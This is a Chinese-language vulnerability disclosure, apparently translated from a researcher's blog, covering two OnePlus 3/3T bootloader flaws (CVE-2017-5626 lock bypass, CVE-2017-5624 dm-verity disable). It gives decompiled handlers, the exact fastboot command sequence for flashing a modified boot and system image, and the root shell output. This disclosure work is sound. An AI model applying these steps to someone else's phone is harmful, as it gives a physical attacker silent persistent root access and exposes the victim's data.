獲取已鎖定的OnePlus 3/3T:引導加載程序漏洞
前言
在這篇博文中,我公開了OnePlus 3/3T引導加載程序中的兩個漏洞。第一個CVE-2017-5626是影響OxygenOS 3.2-4.0.1(4.0.2修補)的高危漏洞。該漏洞允許一個物理對手(或使用ADB/ FASTBOOT訪問)來繞過bootloader的鎖定狀態,即使Allow OEM Unlocking被禁用,無需用戶確認并不會觸發出廠重置。該漏洞允許內核代碼執行(盡管啟動時有5秒警告)。第二個漏洞CVE-2017-5624影響至今OxygenOS的所有版本,允許攻擊者禁用dm-verity。這些漏洞的組合實現了強大的攻擊 - 持久化的高權限代碼執行,而不向用戶發出任何警告,并且能夠訪問原始用戶的數據(在受害者輸入其憑據后)。
OnePlus Security披露和承認了這兩個漏洞。第一個漏洞CVE-2017-5626于1月23日被披露。它也是由OnePlus工程師獨立發現的。CVE-2017-5624于1月16日被披露,在未來的OxygenOS版本中得到修復 -今天的公開它的原因是因為已經有人在1月24日公布它了。
免責聲明:我只測試了OnePlus 3,但OnePlus 3T也包含漏洞。
繞過引導加載程序鎖(CVE-2017-5626)
OnePlus 3 &3T運行OxygenOS 3.2 - 4.0.1系統,它有兩個專用的FASTBOOT oem命令:
1. fastboot oem 4F500301-繞過bootloader的鎖-允許使用FASTBOOT訪問來解鎖設備,無視OEM Unlocking,并無需用戶確認,沒有用戶數據擦除(正確的解鎖后通常會發生)。此外,在運行此命令后設備仍然報告處于鎖定狀態。
2. fastboot oem 4F500302 - 重置各種引導加載程序設置。例如,它將鎖定未加鎖的引導加載程序,無需用戶確認。
分析引導程序二進制表明其處理程序4F500301的命令非常簡單:
- // 'oem 4F500301' handler
- int sub_918427F0()
- {
- magicFlag_dword_91989C10 = 1;
- if ( dword_9198D804 != dword_9198D804 )
- assert(1, dword_9198D804, dword_9198D804);
- return sendOK((int)"", dword_9198D804);
- }
因此,它在91989C10設置了某些全局標志(我們命名為magicFlag)。通過觀察其處理格式/擦除FASTBOOT命令的過程,我們可以清楚地看到在幾項檢查之后,magicFlag覆蓋設備的鎖定狀態-刷入或刪除分區:
- // 'flash' handler
- const char *__fastcall sub_91847EEC(char *partitionName, int *a2, int a3)
- {
- char *pname; // r5@1
- ...
- pname = partitionName;
- v4 = a2;
- v5 = a3;
- if ( returnTRUE1(partitionName, (int)a2) )
- {
- result = (const char *)sub_918428F0(pname, v6);
- if ( (result || magicFlag_dword_91989C10)
- && ((result = (const char *)sub_91842880(pname, v10)) != 0 || magicFlag_dword_91989C10) )
- {
- result = (const char *)sub_918428F0(pname, v10);
- if ( !result || magicFlag_dword_91989C10 )
- goto LABEL_7;
- v8 = dword_9198D804;
- if ( dword_9198D804 != dword_9198D804 )
- goto LABEL_28;
- v11 = "Critical partition flashing is not allowed";
- }
- else
- {
- v8 = dword_9198D804;
- if ( dword_9198D804 != dword_9198D804 )
- goto LABEL_28;
- v11 = "Partition flashing is not allowed";
- }
- return (const char *)FAIL2((int)v11, v10);
- }
- LABEL_7:
- ...
- if ( *v4 != 0xED26FF3A )
- {
- if ( *v4 == 0xCE1AD63C )
- cmd_flash_meta_img(pname, (unsigned int)v4, v5);
- else
- cmd_flash_mmc_img(pname, (int)v4, v5);
- goto LABEL_10;
- }
- v7 = v4;
- }
- cmd_flash_mmc_sparse_img(pname, (int)v7, v5);
- ...
- }
- // 'erase' handler
- int __fastcall sub_91847118(char *partitionName, int a2, int a3)
- {
- ...
- v3 = partitionName;
- v4 = returnTRUE1(partitionName, a2);
- if ( !v4 )
- {
- LABEL_7:
- ...
- if ( v4 )
- {
- if ( dword_9198D804 == dword_9198D804 )
- return eraseParition(v3);
- }
- ...
- }
- v4 = sub_918428F0(v3, v5);
- if ( !v4 && !magicFlag_dword_91989C10 )
- {
- v6 = dword_9198D804;
- if ( dword_9198D804 == dword_9198D804 )
- {
- v7 = "Partition erase is not allowed";
- return FAIL2((int)v7, v5);
- }
- goto LABEL_23;
- }
- v4 = sub_91842880(v3, v5);
- if ( !v4 && !magicFlag_dword_91989C10 )
- {
- v6 = dword_9198D804;
- if ( dword_9198D804 == dword_9198D804 )
- {
- v7 = "Partition flashing is not allowed";
- return FAIL2((int)v7, v5);
- }
- LABEL_23:
- assert(v4, v5, v6);
- }
- v4 = sub_918428F0(v3, v5);
- if ( !v4 || magicFlag_dword_91989C10 )
- goto LABEL_7;
- v6 = dword_9198D804;
- ...
- v7 = "Critical partition erase is not allowed";
- return FAIL2((int)v7, v5);
- }
利用CVE-2017-5626進行內核代碼執行
通過利用此漏洞,攻擊者可以刷入惡意引導映像(其中包含兩個內核和Root RAMFS)來得到自身的平臺。但問題是,引導程序和平臺檢測這樣的修改,這被稱為驗證啟動。引導加載程序驗證boot和recovery分區-刷入一個修改的boot分區,例如,會在引導時提示以下警告:
另一個不會觸發此警告的選項是刷入舊的未修改的引導映像 - 較舊的映像包含可被攻擊者利用的已知安全漏洞。
總之,盡管有警告(5秒后自動消失),OnePlus 3 / 3T仍然允許在紅色驗證狀態啟動,因此攻擊者的代碼得到執行。
有無數的方法來證明這種情況的嚴重性,所以我選擇了最簡單的方法。
通過修改引導映像:
1. 我添加androidboot.selinux=permissive到內核命令行來設置SELinux的permissive模式。
2. 我已經修改了ramfsST ro.debuggable=1,ro.secure=0,ro.adb.secure=0,并改變了USB配置屬性(sys.usb.config),包括啟動adb。
然后,我利用此漏洞,刷入修改后的boot.img(evil_boot.img):
- λ fastboot flash boot evil_boot.img
- target reported max download size of 440401920 bytes
- sending 'boot' (14836 KB)...
- OKAY [ 0.335s]
- writing 'boot'...
- FAILED (remote: Partition flashing is not allowed)
- finished. total time: 0.358s
- λ fastboot oem 4F500301
- ...
- OKAY [ 0.020s]
- finished. total time: 0.021s
- λ fastboot flash boot evil_boot.img
- target reported max download size of 440401920 bytes
- sending 'boot' (14836 KB)...
- OKAY [ 0.342s]
- writing 'boot'...
- OKAY [ 0.135s]
- finished. total time: 0.480s
于是我得到了一個root shell,甚至在用戶輸入他的憑據之前:
- OnePlus3:/ # id
- uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),
- 1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),
- 3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0
- OnePlus3:/ # getenforce
- Permissive
OnePlus 3 / 3T內核似乎是在啟用LKM的情況下編譯的,因此運行內核代碼甚至不需要修補/重新編譯內核。
所以我創建了一個小的內核模塊:
- #include <linux/module.h>
- #include <linux/kdb.h>
- int init_module(void)
- {
- printk(KERN_ALERT "Hello From Kernel\n");
- return 1;
- }
然后將其加載到內核中:
- OnePlus3:/data/local/tmp # insmod ./test.ko
- OnePlus3:/data/local/tmp # dmesg | grep Hello
- [19700121_21:09:58.970409]@3 Hello From Kernel
禁用dm-verity(CVE-2017-5624)
system分區的驗證,不是boot&recovery,是通過dm-verity驅動的。我們發現可以命令一個已鎖定引導程序喚醒該平臺,使用另一個FASTBOOT命令禁止dm-verity:fastboot oem disable_dm_verity。
該oem disable_dm_verity處理程序如下:
- // 'oem disable_dm_verity' handler
- int sub_9183B8EC()
- {
- int v0; // r0@1
- int v1; // r1@1
- dmVerity_dword_91960740 = 0;
- v0 = sub_91845E10("ANDROID-BOOT!");
- if ( dword_9198D804 != dword_9198D804 )
- assert(v0, v1, dword_9198D804);
- return sendOK((int)"", v1);
- }
又一次,91960740設置了一些標志(我們稱為dmVerity)。引導加載程序構建內核cmdline時會使用它:
androidboot.enable_dm_verity內核命令行參數傳遞到ro.boot.enable_dm_verity,然后指示OnePlus的init,是否要禁用dm-verity:
2個漏洞組合利用
這兩個漏洞可以組合在一起,用于具有特權的SELinux域代碼執行,而不向用戶發出任何警告并訪問原始用戶數據。為了演示這一點(可能有成千上萬更好的方法與更高的嚴重性),我修改了系統分區,添加了一個特權應用程序。可以在/system/priv-app/
- λ fastboot flash system system-modded.simg
- target reported max download size of 440401920 bytes
- erasing 'system'...
- FAILED (remote: Partition erase is not allowed)
- finished. total time: 0.014s
- λ fastboot oem 4F500301
- OKAY
- [ 0.020s] finished. total time: 0.021s
- λ fastboot flash system system-modded.simg
- target reported max download size of 440401920 bytes erasing 'system'...
- OKAY [ 0.010s]
- ...
- sending sparse 'system' 7/7 (268486 KB)...
- OKAY [ 6.748s]
- writing 'system' 7/7...
- OKAY [ 3.291s]
- finished. total time: 122.675s
- λ fastboot oem disable_dm_verity
- ...
- OKAY
- [ 0.034s] finished. total time: 0.036s
事實上,加載priv_app的應用程序上下文如下:
- 1|OnePlus3:/ $ getprop | grep dm_verity
- [ro.boot.enable_dm_verity]: [0]
- OnePlus3:/ $ ps -Z | grep roeeh
- u:r:priv_app:s0:c512,c768 u0_a16 4764 2200 1716004 74600 SyS_epoll_ 0000000000 S roeeh.fooapp